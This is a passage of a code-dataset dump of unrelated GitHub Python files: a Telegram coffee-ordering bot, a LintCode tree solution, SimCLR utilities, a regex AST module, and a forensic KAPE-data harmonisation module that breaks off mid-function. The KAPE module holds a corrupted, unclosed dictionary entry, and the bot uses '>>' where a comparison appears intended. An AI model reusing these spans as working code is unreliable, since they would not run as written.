accuracy(algorithm.DREAME_networks[m],loader,weights,device)\n results[name+'_m_'+str(m)+'_acc'] = acc\n ensemble_results= ensemble_accuracy(algorithm.DREAME_networks,loader,weights,device)\n results[name+'_ens_acc']= ensemble_results['acc']\n results[name+'_preds_models']= ensemble_results['preds']\n results[name+'_labels']= ensemble_results['labels']\n\n return results\n\n","repo_name":"kowshikthopalli/DREAME","sub_path":"domainbed/lib/misc_aug.py","file_name":"misc_aug.py","file_ext":"py","file_size_in_byte":11002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"32321421379","text":"\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\"\"\"\n\nclass Solution:\n \"\"\"\n @param root: \n @return: the length of the longest path where each node in the path has the same value\n \"\"\"\n def longestUnivaluePath(self, root):\n # Write your code here\n '''\n 就像网友所说,这题easy难度的确是膨胀了...\n 简说下思路:\n 1. 5-5-5路径长度是2,5路径长度是0。\n 2. 要处理2种情况:1)路径不经过当前节点;2)路径经过当前节点。\n '''\n self.ret = 0\n self._longestUnivaluePath(root)\n return self.ret\n \n def _longestUnivaluePath(self, node):\n if not node:\n return 0\n ll = self._longestUnivaluePath(node.left)\n lr = self._longestUnivaluePath(node.right)\n to_left, to_right = 0, 0\n if node.left and (node.left.val == node.val):\n to_left = ll + 1\n if node.right and (node.right.val == node.val):\n to_right = lr + 1\n self.ret = max(self.ret, to_left + to_right) # 处理左到右经过当前节点的情况\n return max(to_left, to_right) # 处理需要继续向上的情况\n\n# https://www.lintcode.com/problem/longest-univalue-path/\n","repo_name":"yingl/LintCodeInPython","sub_path":"longest-univalue-path.py","file_name":"longest-univalue-path.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"31"} +{"seq_id":"30009484654","text":"import asyncio\nimport time\n\nfrom aiogram import Dispatcher, Bot, executor, types\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters.state import StatesGroup, State\n\nfrom config import *\nfrom core import Core\nfrom keyboard import *\n\nbot = Bot(API_TOKEN)\n\n# For example use simple MemoryStorage for Dispatcher.\nstorage = MemoryStorage()\ndp = Dispatcher(bot, storage=storage)\ncore = Core()\n\n\n# States\nclass UserOrderComment(StatesGroup):\n comment = State() # Will be represented in storage as 'Form:name'\n\n\nclass AdminCreateItem(StatesGroup):\n name = State()\n description = State()\n price = State()\n\n\nclass AdminEditItem(StatesGroup):\n name = State()\n description = State()\n price = State()\n\n\nasync def drink(callback, callbackData):\n if not db.exists_order(callbackData[1], callback.from_user.id):\n db.add_item_orders(callback.message.message_id, callbackData[1], callback.from_user.id)\n item_order = db.get_order(callbackData[1], callback.from_user.id, 'wait')\n item = db.get_item(callbackData[1])\n price = core.calc_price(callback.from_user.id)\n await callback.message.edit_text(\n text=f\"\"\"{item[1]}\n \n{item[1]}: {item[4]}{rub}\n{price[\"size\"][\"name\"]}({price['size']['ml']}мл): {price['size']['price']}{rub}\n{price['milk']['name']}: {price['milk']['price']}{rub}\n\nКомментарий: {item_order[3]}\n\nИтог: {price['total']['price']}{rub}\"\"\",\n parse_mode=\"HTML\",\n reply_markup=item_settings(callbackData[1])\n )\n\n\nasync def drink_msg(chat_id, message_id, message, callbackData):\n item_order = db.get_order(callbackData[1], message.from_user.id, 'wait')\n item = db.get_item(callbackData[1])\n price = core.calc_price(message.from_user.id)\n await bot.edit_message_text(\n chat_id=chat_id,\n message_id=message_id,\n text=f\"\"\"{item[1]}\n\n{item[1]}: {item[4]}{rub}\n{price[\"size\"][\"name\"]}({price['size']['ml']}мл): {price['size']['price']}{rub}\n{price['milk']['name']}: {price['milk']['price']}{rub}\n \nКомментарий: {item_order[3]}\n\nИтог: {price['total']['price']}{rub}\"\"\",\n parse_mode=\"HTML\",\n reply_markup=item_settings(callbackData[1])\n )\n\n\n@dp.message_handler()\nasync def message(message: types.Message):\n if not db.exists_user(message.from_user.id):\n db.add_user(message.from_user.id)\n if message.text == \"/start\":\n await message.answer(text=\"Главное меню\", reply_markup=main_menu(message.from_user.id))\n if message.text == \"☕️Меню\":\n await message.answer(text=\"Меню\", reply_markup=menu())\n if message.text == \"💻 Админ панель\":\n if db.is_admin(message.from_user.id):\n await message.answer(text=\"Админ панель:\", reply_markup=admin_panel())\n\n\n@dp.callback_query_handler()\nasync def callback_handler(callback: types.CallbackQuery):\n await callback.answer(callback.data)\n callback_data = callback.data.split(\"_\")\n if callback_data[0] == \"drink\":\n print(callback_data[1])\n await drink(callback, callback_data)\n if callback_data[0] == \"item\":\n if callback_data[2] == \"milk\":\n await callback.message.edit_text(\"Выберите тип молока:\", reply_markup=item_milks(callback_data[1]))\n if callback_data[2] == \"size\":\n await callback.message.edit_text(\"Выберите размер:\", reply_markup=item_sizes(callback_data[1]))\n if callback_data[2] == \"comment\":\n await UserOrderComment.comment.set()\n await callback.message.edit_text(\"Введите коментарий к заказу:\")\n if callback_data[2] == \"buy\":\n order = db.get_order(int(callback_data[1]),callback.from_user.id,'wait')\n item = db.get_item(int(callback_data[1]))\n order = core.calc_price_order(order)\n desc=f\"Размер: {order['size']['name']}({order['size']['ml']}): {order['size']['price']}{rub}\\nРазмер: {order['milk']['name']}: {order['milk']['price']}{rub}\"\n await bot.send_invoice(\n callback.message.chat.id,\n title=item[1],\n description=desc,\n provider_token=\"381764678:TEST:50100\",\n currency='rub',\n is_flexible=False, # True если конечная цена зависит от способа доставки\n prices=[types.LabeledPrice(label=item[1], amount=order['total']['price']*100)],\n start_parameter='time-machine-example',\n payload='some-invoice-payload-for-our-internal-use'\n )\n if callback_data[0] == \"setting\":\n if callback_data[2] == \"milk\":\n db.set_order_milk(callback.from_user.id, callback_data[1], callback_data[3])\n await drink(callback, callback_data)\n if callback_data[2] == \"size\":\n db.set_order_size(callback.from_user.id, callback_data[1], callback_data[3])\n await drink(callback, callback_data)\n if callback_data[0] == \"back\":\n if callback_data[1] == \"menu\":\n db.delete_order(callback.from_user.id)\n await callback.message.edit_text(\"Меню:\", reply_markup=menu())\n if callback_data[0] == \"admin\":\n if db.is_admin(callback.from_user.id):\n if callback_data[1] == \"items\":\n if len(callback_data) == 3:\n await callback.message.edit_text(\"Товары\", reply_markup=admin_items(int(callback_data[2])))\n if len(callback_data) == 4:\n if callback_data[3] == \"delete\":\n db.delete_item(callback_data[2])\n await callback.message.edit_text(\"✅ Вы успешно удалили товар!\")\n await asyncio.sleep(1)\n await callback.message.edit_text(\"Товары:\", reply_markup=admin_items(1))\n if callback_data[3] == \"create\":\n await callback.message.edit_text(\"Введите название:\")\n await AdminCreateItem().name.set()\n else:\n await callback.message.edit_text(f\"{db.get_item(callback_data[3])[3]}\",\n reply_markup=admin_item(callback_data[3]))\n if callback_data[1] == \"panel\":\n await callback.message.edit_text(\"Админ панель:\", reply_markup=admin_panel())\n if callback_data[1] == \"user\":\n if len(callback_data) == 3:\n await callback.message.edit_text(text=f\"{callback_data[2]}\",\n reply_markup=admin_user(callback_data[2]))\n elif len(callback_data) == 4:\n if callback_data[3] == \"delete\":\n if int(callback_data[2]) == callback.from_user.id:\n return False\n await callback.message.edit_text(\"Подтвердить удаление:\",\n reply_markup=admin_user_delete(callback_data[2]))\n else:\n if callback_data[4] == \"confirm\":\n db.delete_user(callback_data[2], 1)\n await callback.message.edit_text(\"✅ Успешное удаление!\")\n await asyncio.sleep(1)\n await callback.message.edit_text(\"Пользователи\",\n reply_markup=admin_users())\n if callback_data[3] == \"adm\":\n if int(callback_data[2]) == callback.from_user.id and callback_data[4] == \"0\":\n return False\n db.user_set_admin(callback_data[2], callback_data[4])\n await callback.message.edit_text(\"✅ Успех!\")\n await asyncio.sleep(1)\n await callback.message.edit_text(\"Пользователь\",\n reply_markup=admin_user(callback_data[2]))\n if callback_data[1] == \"users\":\n if len(callback_data) == 2:\n await callback.message.edit_text(text=\"Пользователи\", reply_markup=admin_users())\n else:\n\n if callback_data[2] == \"admin\":\n if int(callback_data[3]) >> math.ceil(len(db.get_admins()) / 10) or int(callback_data[3]) <= 0:\n return\n await bot.edit_message_text(chat_id=callback.message.chat.id,\n message_id=callback.message.message_id,\n text=f\"Администрация({callback_data[3]}/{math.ceil(len(db.get_admins()) / 10)})\",\n reply_markup=admin_users_admin(int(callback_data[3])))\n if callback_data[2] == \"users\":\n if int(callback_data[3]) >> math.ceil(len(db.get_users()) / 10) or int(\n callback_data[3]) <= 0:\n return\n await bot.edit_message_text(chat_id=callback.message.chat.id,\n message_id=callback.message.message_id,\n text=f\"Пользователи({callback_data[3]}/{math.ceil(len(db.get_users()) / 10)})\",\n reply_markup=admin_users_users(int(callback_data[3])))\n@dp.pre_checkout_query_handler(lambda query: True)\nasync def process_pre_checkout_query(pre_checkout_query: types.PreCheckoutQuery):\n await bot.answer_pre_checkout_query(pre_checkout_query.id, ok=True)\n\n\n@dp.message_handler(content_types=types.ContentType.SUCCESSFUL_PAYMENT)\nasync def process_successful_payment(message: types.Message):\n print('successful_payment:')\n pmnt = message.successful_payment.to_python()\n for key, val in pmnt.items():\n print(f'{key} = {val}')\n\n await bot.send_message(\n message.chat.id,\n \"Успешная оплата.\"\n )\n db.set_order_status(message.from_user.id,\"wait\",\"payed\",round(time.time()))\n order = db.get_order_payed(message.from_user.id)\n await bot.send_message(\n -1001686676348,\n f\"Новый заказ\\n\\n{db.get_size(order[5])[1]} {db.get_milk(order[6])[1]} {db.get_item(order[4])[1]}\",\n parse_mode=\"HTML\"\n )\n\n@dp.message_handler(state=UserOrderComment.comment)\nasync def process_comment(message: types.Message, state: FSMContext):\n async with state.proxy() as data:\n data['comm'] = message.text\n db.set_comment(message.from_user.id, message.text)\n await state.finish()\n order = db.get_order_user(message.from_user.id, 'wait')\n\n await drink_msg(message.chat.id, order[7], message, [\"drink\", str(order[4])])\n await message.delete()\n\n\n@dp.message_handler(state=AdminCreateItem.name)\nasync def process_name(message: types.Message, state: FSMContext):\n db.create_item(message.text)\n db.set_itemname(message.text, message.from_user.id)\n await message.answer(text=\"Введите описание товара:\")\n await AdminCreateItem.next()\n\n\n@dp.message_handler(state=AdminCreateItem.description)\nasync def process_desc(message: types.Message, state: FSMContext):\n db.set_description(message.text, db.get_user(message.from_user.id)[3])\n await message.answer(text=\"Введите цену товара:\")\n\n await AdminCreateItem.next()\n\n\n@dp.message_handler(state=AdminCreateItem.price)\nasync def process_price(message: types.Message, state: FSMContext):\n try:\n num = int(message.text)\n except Exception as e:\n await message.answer(text=\"Ошибка, введите число:\")\n await AdminCreateItem.price.set()\n return False\n db.set_price(int(message.text), db.get_user(message.from_user.id)[3])\n db.set_show(db.get_user(message.from_user.id)[3])\n msg = await message.answer(text=\"Вы успешно создали товар!\")\n await asyncio.sleep(1)\n await msg.edit_text(text=\"Товары\", reply_markup=admin_items(1))\n await state.finish()\n\n\nexecutor.start_polling(dp)\n","repo_name":"gepolis/CoffeeBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40907707702","text":"import os\nos.system(\"clear\") # WORKAROUND\n\nfor i in range(2):\n print(\"\")\n\n### CÓDIGO ACIMA NÃO ESTÁ SENDO USADO DIRETAMENTE \n\nimport sys\nimport time\nfrom time import sleep\n\n\n# print(\"KENZIE\")\n\n# LIVRO(S) DE INDICAÇÃO: Python by example - Nichola Lacey, How to Make Mistakes in Python - Mike Pirnat\n\n## Tipos em Python: List, Set, Tuples, Dict: indice vs chave\n\n# Inicialização:\n\nlista = list([3, 6, 10, \"\", 1.2]) # Homogênea, a = []\nconjuntos = set({1, 5, 9, \"\", 3.141592}), # f = set(), ELIMINAR DUPLICATAS\ntupla = ()\ndicionario = dict({\"chave\": 923875, \"dog\": \"cachorro\"})\n\n# ACESSANDO VALORES DE UM DICT INSEGURAMENTE\n# print(dicionario)\n# print(dicionario[\"6\"])\n\n# \"\" SEGURAMENTE\nprint(dicionario.get(\"cat\", \"ESSA CHAVE NÃO EXISTE\"))\n\n# Fixo vs Não fixo: hashable\n\n# Único vs Replicável: set, list\n\n# Mutável e imutável: list, dict, set <-> string, tuple, int, float\nf = [1, 2, 3]\nf.reverse()\nprint(f)\nf.clear()\nprint(f)\n\n# Funções embutidas de cada tipo: acesse pelo objeto\n# list.clear()\n# set.add()\n# str.capitalize()\n\n# FUNÇÃO COM ANOTAÇÃO PONTO\n\n# Valor vs Referência: SERÁ ABORDADO PRÓXIMA DEMO\n\n## APLICAÇÃO\n\n# Avião: Número dos assentos, posição física dos assentos: coordenada -> (Dimensões janelas jogos)\n\n\n\n\n\n### CÓDIGO ABAIXO NÃO ESTÁ SENDO USADO DIRETAMENTE \nfor i in range(2):\n print(\"\")\n","repo_name":"Kenzie-Academy-Brasil-Developers/q3-demos-turma7","sub_path":"sprint1/demo2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29533814644","text":"from PIL import Image\r\nfrom torch.utils.data import Dataset\r\nfrom torchvision import transforms\r\nimport torch\r\nfrom torchvision.transforms.transforms import Resize\r\n\r\n# 自定义数据集\r\nclass MyDataSet(Dataset):\r\n def __init__(self, images_path: list, image_class: list, transform1 = None, transform2 = None):\r\n self.images_path = images_path\r\n self.image_class = image_class\r\n self.transform1 = transform1\r\n self.transform2 = transform2\r\n\r\n def __len__(self):\r\n return len(self.images_path)\r\n\r\n def __getitem__(self, index):\r\n img = Image.open(self.images_path[index])\r\n # RGB为彩色图像,L为灰度图像\r\n if img.mode != 'RGB':\r\n raise ValueError(\"image: {} isn't RGB mode.\".format(self.images_path[index]))\r\n label = self.image_class[index]\r\n if self.transform1 is not None:\r\n img1 = self.transform1(img)\r\n if self.transform2 is not None:\r\n img2 = self.transform2(img)\r\n return img1, img2, label\r\n\r\nimport os\r\n\r\ndef read_split_data(root: str): # 数据集路径和验证集划分比例\r\n assert os.path.exists(root), \"dataset root: {} does not exist.\".format(root)\r\n # 遍历文件夹,一个文件夹对应一个类别\r\n flower_class = [cla for cla in os.listdir(root) if os.path.isdir(os.path.join(root, cla))]\r\n # 排序,保证顺序一致\r\n flower_class.sort()\r\n # 生成类别名称以及对应的数字索引\r\n class_indices = dict((k, v) for v, k in enumerate(flower_class))\r\n\r\n train_images_path = [] # 存储训练集的所有图片路径\r\n train_images_label = [] # 存储���练集图片对应的索引信息\r\n every_class_num = [] # 存储每个类别的样本总数\r\n supported = [\".jpg\", \".JPG\", \".png\", \".PNG\", \".BMP\", \".bmp\"] # 支持的文件后缀类型\r\n\r\n # 遍历每个类别下的文件\r\n for cla in flower_class:\r\n cla_path = os.path.join(root, cla)\r\n # 遍历获取该类别supported支持的所有文件路径\r\n images = [os.path.join(root, cla, i) for i in os.listdir(cla_path) if os.path.splitext(i)[-1] in supported]\r\n # 获取该类别对应的索引\r\n image_class = class_indices[cla]\r\n # 记录该类别的样本数\r\n every_class_num.append(len(images))\r\n\r\n # 遍历某个类别的所有文件\r\n for img_path in images:\r\n train_images_path.append(img_path)\r\n train_images_label.append(image_class)\r\n\r\n return train_images_path, train_images_label\r\n\r\ndata_transform = {\r\n \"train1\":transforms.Compose([\r\n transforms.Resize([128, 128]),\r\n transforms.RandomResizedCrop(32),\r\n transforms.RandomGrayscale(p = 0.2),\r\n transforms.RandomRotation(60),\r\n transforms.ToTensor(),\r\n transforms.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010])\r\n ]),\r\n \"train2\":transforms.Compose([\r\n transforms.Resize([128, 128]),\r\n transforms.RandomResizedCrop(32),\r\n transforms.RandomHorizontalFlip(p = 0.5),\r\n transforms.RandomApply([transforms.ColorJitter(0.4, 0.4, 0.4, 0.1)], p = 0.8),\r\n \r\n transforms.ToTensor(),\r\n transforms.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010])\r\n ]),\r\n \"val\":transforms.Compose([\r\n transforms.Resize([32, 32]),\r\n transforms.ToTensor(),\r\n transforms.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010])\r\n ])\r\n}\r\n","repo_name":"Arthur940621/DeepLearning","sub_path":"SimCLR/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24942998859","text":"from setuptools import setup\r\n\r\n\r\ndef readme():\r\n with open('README.md') as file:\r\n _readme = file.read()\r\n\r\n return _readme\r\n\r\n\r\nsetup(\r\n name='epic_games_free',\r\n version='0.1.4',\r\n author='liner',\r\n author_email='contact.liner999@gmail.com',\r\n description='An Epic Games Store free games API wrapper',\r\n long_description=readme(),\r\n long_description_content_type='text/markdown',\r\n license='MIT',\r\n packages=['epic_games_free'],\r\n url='https://github.com/r-liner/epic_games_free/',\r\n package_data={'epic_free_games': [\"VERSION\"]},\r\n include_package_data=True,\r\n install_requires=['requests'],\r\n classifiers=[\r\n \"Programming Language :: Python :: 3\",\r\n \"Programming Language :: Python :: 3.10\",\r\n \"Programming Language :: Python :: 3.11\",\r\n \"License :: OSI Approved :: MIT License\",\r\n \"Operating System :: OS Independent\",\r\n ]\r\n)\r\n","repo_name":"r-liner/epic_games_free","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"18814008619","text":"\"\"\"\nrast.py\n\nRegex Abstract Syntax Tree\n\"\"\"\n\nfrom alpacalib.graph import Graph\nfrom alpacalib.charset import CharacterSet\n\nclass RASTError(Exception):\n pass\n\n# Regex: [^a-zA-Z]*[abc-f]+$&|@!\n# '|'\n# / \\\n# '' ''\n# / / \\ \\ / \\\n# '*' '+' 'h' 'i' '@' '!'\n# | |\n# '[^]' '[]'\n# / \\ / | \\\n# '-' '-' 'a' 'b' '-'\n# / \\ / \\ / \\\n# 'a' 'z' 'A' 'Z' 'c' 'f'\n\nclass RAST:\n def __init__(self):\n self.is_operator = False\n self.token = ''\n self.children = []\n\n def is_empty(self):\n return not self.is_operator and self.token == '' and len(self.children) == 0\n\n def traversal(self):\n graph = Graph()\n if self.token in CharacterSet.mnemnoic:\n for char in CharacterSet.mnemnoic[self.token]:\n graph.union(char)\n return graph\n elif not self.is_operator:\n graph.new(self.token)\n return graph\n elif self.token == '':\n for child in self.children:\n graph.concatenation_graph(child.traversal())\n return graph\n elif self.token == '|':\n for child in self.children:\n graph.union_graph(child.traversal())\n return graph\n elif self.token == '*':\n graph.new_graph(self.children[0].traversal())\n graph.kleene_closure()\n return graph\n elif self.token == '+':\n graph.new_graph(self.children[0].traversal())\n g = Graph()\n g.new_graph(graph)\n g.kleene_closure()\n graph.concatenation_graph(g)\n return graph\n elif self.token == '[]':\n clist = []\n for child in self.children:\n if child.token in CharacterSet.mnemnoic:\n clist.extend(CharacterSet.mnemnoic[child.token])\n elif not child.is_operator:\n clist.append(child.token)\n else:\n clist += CharacterSet.intersection_set(child.children[0].token, child.children[1].token)\n for char in clist:\n graph.union(char)\n return graph\n elif self.token == '[^]':\n clist = []\n for child in self.children:\n if child.token in CharacterSet.mnemnoic:\n clist.extend(CharacterSet.mnemnoic[child.token])\n elif not child.is_operator:\n clist.append(child.token)\n else:\n clist += CharacterSet.intersection_set(child.children[0].token, child.children[1].token)\n for char in CharacterSet.complementary_set_full(clist):\n graph.union(char)\n return graph\n else:\n raise RASTError\n\n","repo_name":"tariquemansuri/StockTrading","sub_path":"venv/Lib/site-packages/alpacalib/rast.py","file_name":"rast.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34470413792","text":"# DS4N6\n#\n# Description: library of functions to appy Data Science in several forensics\n# artifacts\n#\n\n###############################################################################\n# INFO\n###############################################################################\n# Recommended \"import as\": d4kp\n\n###############################################################################\n# IMPORTS\n###############################################################################\n\n# DEV IMPORTS ----------------------------------------------------------------\n\n# python IMPORTS --------------------------------------------------------------\nimport os\nimport glob\nimport re\nimport time\nimport inspect\nimport xmltodict\nimport json\nimport pickle\nimport math\nfrom tqdm import tqdm\nimport xml.etree.ElementTree as et\n\n# DS IMPORTS ------------------------------------------------------------------\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom IPython.display import display, Markdown, HTML\nimport ipywidgets as widgets\nfrom ipywidgets import Layout\n\nfrom traitlets import traitlets\n# ML\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras.layers import Input, Dense\n\n# DS4N6 IMPORTS ---------------------------------------------------------------\nimport ds4n6_lib.d4 as d4\nimport ds4n6_lib.common as d4com\nimport ds4n6_lib.gui as d4gui\nimport ds4n6_lib.utils as d4utl\n\n###############################################################################\n# FUNCTIONS\n###############################################################################\n\n# FILE READING FUNCTIONS ######################################################\n\ndef read_data(evdl, **kwargs):\n\n if d4.debug >= 3:\n print(\"DEBUG: [DBG\"+str(d4.debug)+\"] [\"+str(os.path.basename(__file__))+\"] [\"+str(inspect.currentframe().f_code.co_name)+\"()]\")\n\n return d4com.read_data_common(evdl, **kwargs)\n\n# HARMONIZATION FUNCTIONS #####################################################\n\ndef harmonize(df, **kwargs):\n \"\"\" Convert DF in HAM format\n\n Args: \n df (pandas.DataFrame): DF to harmonize\n kwargs(dict): harmonize options\n Returns: \n pandas.DataFrame in HAM Format\n \"\"\"\n\n if d4.debug >= 3:\n print(\"DEBUG: [DBG\"+str(d4.debug)+\"] [\"+str(os.path.basename(__file__))+\"] [\"+str(inspect.currentframe().f_code.co_name)+\"()]\")\n\n # (1) kansa will probably be invoked with 'tool=kansa', but kansa is in \n # reality an orchestrator, so we will only populate the Tool_ column \n # to kansa only if we have not been able to determine what is the \n # underlying tool that kansa is using for execution in the endpoint\n\n # Specific Harmonization Pre-Processing -----------------------------------\n if not 'D4_Orchestrator_' in df.columns:\n df.insert(0, 'D4_Orchestrator_', \"kape\")\n else:\n # If the Orchestrator_ col exists, we are in a recursive call\n return df\n\n objtype = d4com.data_identify(df)\n\n # Generic Harmonization ---------------------------------------------------\n\n # Since kansa is an orchestrator, let's try to identify the specific \n # data type and apply the corresponding harmonization function.\n # If we can, we will execute the generic one.\n if \"unknown\" in objtype:\n df = d4com.harmonize_common(df, **kwargs)\n else:\n # Let's try to harmonize this specific df\n df = d4com.harmonize(df)\n\n # Specific Harmonization Post-Processing ----------------------------------\n d4pdf = df['D4_Plugin_'].iloc[0]\n\n if isinstance(d4pdf, float):\n if math.isnan(d4pdf):\n print('ERROR: The D4_Plugin_ column is NaN. Cannot fully Harmonize data.')\n print(' Did you specify the \"pluginisdfname=True\"')\n print(' when reading the input files?')\n return\n\n if re.search(\"^Registry-Services-\", d4pdf):\n df['D4_Plugin_'] = \"Registry-Services\"\n df['D4_DataType_'] = \"svclist\"\n\n # Rename columns\n df = df.rename(columns={'Name': 'Name_', \n 'DisplayName': 'DisplayName_',\n 'ImagePath': 'FilePath_',\n 'StartMode': 'StartMode_',\n 'ServiceType': 'ServiceType_',\n 'ServiceDLL': 'ServiceDLL_',\n 'Group': 'Group_',\n 'Description': 'Description_',\n 'RequiredPrivileges': 'RequiredPrivileges_'\n })\n elif re.search(\"^EventLogs-EvtxECmd\", d4pdf):\n df['D4_Plugin_'] = \"EventLogs-EvtxECmd\"\n df['D4_DataType_'] = \"evtx\"\n # Rename columns\n df = df.rename(columns={'Name': 'Name_', \n 'DisplayName': 'DisplayName_',\n 'ImagePath': 'FilePath_',\n 'StartMode': 'StartMode_',\n 'ServiceType': 'ServiceType_',\n 'ServiceDLL': 'ServiceDLL_',\n 'Group': 'Group_',\n 'Description': 'Description_',\n 'RequiredPrivileges': 'RequiredPrivileges_',\n 'EventId': 'EventID_',\n 'SourceFile': 'evtxFileName_',\n 'TimeCreated': 'Timestamp',\n 'UserId': 'TargetUserSid',\n 'UserName': 'TargetUserName',\n 'Computer': 'WorkstationName'\n })\n df['FileName_'] = df['ExecutableInfo'].str.split('\\\\').str[-1]\n df['IpAddress'] = \"0.0.0.0\"\n df['LogonType'] = np.nan\n\n elif re.search(r\"^FileSystem-MFTECmd_\\$MFT\", d4pdf):\n\n df['D4_Plugin_'] = \"FileSystem-MFTECmd_$MFT\"\n df['D4_DataType_'] = \"flist\"\n\n # Rename columns\n df = df.rename(columns={'EntryNumber': 'Meta_', \n 'SequenceNumber': 'NTFS-SeqNumber_',\n 'InUse': 'Deleted_',\n 'ParentEntryNumber': 'ParentMeta_',\n 'ParentSequenceNumber': 'ParentSeqNumber_',\n 'ParentPath': 'ParentPath_',\n 'FileName': 'FileName_',\n 'Extension_': 'FileExtension_',\n 'FileSize': 'Size_',\n 'ReferenceCount': 'NTFS-ReferenceCount_',\n 'ReparseTarget': 'NTFS-ReparseTarget_',\n 'IsDirectory': 'IsDirectory_',\n 'Created0x10': 'BTime_',\n 'LastModified0x10': 'MTime_',\n 'LastRecordChange0x10': 'CTime_',\n 'LastAccess0x10': 'ATime_',\n 'HasAds': 'NTFS-HasAds_',\n 'IsAds': 'NTFS-IsAds_',\n 'SI Deleted \n df['Deleted_'] = ~df['Deleted_']\n df['FileType_'] = df['IsDirectory_']\n df['FileType_'] = np.where(df['FileType_'], 'd', 'f')\n df['ParentPath_'] = df['ParentPath_'] .str.replace(r\"^\\.\",\"\").str.replace(r\"^\\\\\\.$\",\".\")\n df['FilePath_'] = df['ParentPath_'] + '\\\\' + df['FileName_']\n\n # return ------------------------------------------------------------------\n return df\n\n# ANALYSIS FUNCTIONS ##########################################################\n\n# simple ======================================================================\ndef simple_func(df, *args, **kwargs):\n \"\"\" Reformat the input df so the data is presented to the analyst in the\n friendliest possible way\n\n Parameters:\n df (pd.dataframe): Input data \n \n Returns:\n pd.DataFrame: Optionally it will return the filtered dataframe, \n only if ret=True is set, constant & hidden columns included\n If ret_out=True is set, then the output just as it is shown\n (without constant/hidden columns) will be return\n \"\"\"\n if d4.debug >= 3:\n print(\"DEBUG: [DBG\"+str(d4.debug)+\"] [\"+str(os.path.basename(__file__))+\"] [\"+str(inspect.currentframe().f_code.co_name)+\"()]\")\n\n # Variables ----------------------------------------------------------------\n hiddencols = []\n\n # Maximum number of lines in DF for beautification\n maxdfbprintlines = 20\n\n # Call to simple_common ----------------------------------------------------\n return d4com.simple_common(df, *args, **kwargs, hiddencols=hiddencols, maxdfbprintlines=maxdfbprintlines)\n\n\ndef get_source_options():\n return ['wrap_cols', 'beautify_cols']\n\n\n# analysis ====================================================================\ndef analysis(*args, **kwargs):\n \"\"\" Redirects execution to analysis_func()\n \"\"\"\n return analysis_func(*args, **kwargs)\n\ndef analysis_func(*args, **kwargs):\n \"\"\" Umbrella function that redirects to different types of analysis \n available on the input data\n\n Parameters:\n obj: Input data (typically DF or dict of DFs)\n \n Returns:\n pd.DataFrame: Refer to each specific analysis function\n \"\"\"\n\n # SUB-FUNCTIONS ###########################################################\n def syntax(objtype=None):\n print('Syntax: analysis(obj, \"analysis_type\")\\n')\n if objtype is None:\n d4list(\"str-help\")\n else:\n d4list(objtype)\n return\n\n def d4list(objtype):\n # Analysis Modules Available for this objective\n anlav = False\n\n print(\"Available kape analysis types:\")\n if objtype == None or objtype == \"str-help\" or objtype == \"str-list\" or re.search(\"^dict-pandas_dataframe-kape\", objtype):\n anlav = True\n print(\"- kape_files: No.events kape file (Input: kpdfs)\")\n\n if anlav == False:\n print('- No analysis modules available for this object ('+objtype+').')\n\n\n # FUNCTION BODY ###########################################################\n if d4.debug >= 3:\n print(\"DEBUG: [DBG\"+str(d4.debug)+\"] [\"+str(os.path.basename(__file__))+\"] [\"+str(inspect.currentframe().f_code.co_name)+\"()]\")\n\n nargs = len(args)\n\n if nargs == 0:\n syntax()\n return\n\n obj = args[0]\n\n objtype = d4com.data_identify(obj)\n\n if isinstance(obj, str):\n if obj == \"list\":\n d4list(objtype)\n return\n if obj == \"help\":\n syntax()\n return\n\n if nargs == 1:\n syntax(objtype)\n return\n\n anltype = args[1]\n\n if not isinstance(anltype, str):\n syntax()\n return\n\n if anltype == \"help\":\n syntax()\n return\n elif anltype == \"list\":\n d4list(objtype)\n return\n\n # ANALYSIS FUNCTIONS ======================================================\n\n # kpdfs -------------------------------------------------------------------\n if re.search(\"^dict-pandas_dataframe-kape\", objtype):\n if anltype == \"kape_files\":\n return analysis_kape_files(*args, **kwargs)\n\n print(\"INFO: [d4kp] No analysis functions available for this data type (\"+objtype+\")\")\n\ndef analysis_kape_files(*args, **kwargs):\n \"\"\" Analysis that gives kape files\n Args: \n obj: Input data (typically DF or dict of DFs)\n Returns: \n pandas.Dataframe with the results of the analysis\n\n \"\"\"\n dfs = args[0]\n\n objtype = d4com.data_identify(dfs)\n\n if not objtype.startswith(\"dict-pandas_dataframe-kape\"):\n print(\"ERROR: Invalid object for function: \"+objtype)\n print(\" Input object should be: dict-pandas_dataframe-kape\")\n return\n\n outdf = pd.DataFrame([],columns=['NEntries', 'KapeFile'])\n row = pd.Series()\n\n for key in dfs.keys():\n row['KapeFile'] = key\n row['NEntries'] = len(dfs[key])\n\n outdf = outdf.append(row,ignore_index=True).sort_values(by=['KapeFile']).reset_index(drop=True)\n\n #outdf.insert(0, 'Artifact/Tool', '')\n #outdf.insert(0, 'Category', '')\n outdf['Category'] = outdf['KapeFile'].str.replace('-.*','')\n outdf['Artifact/Tool'] = 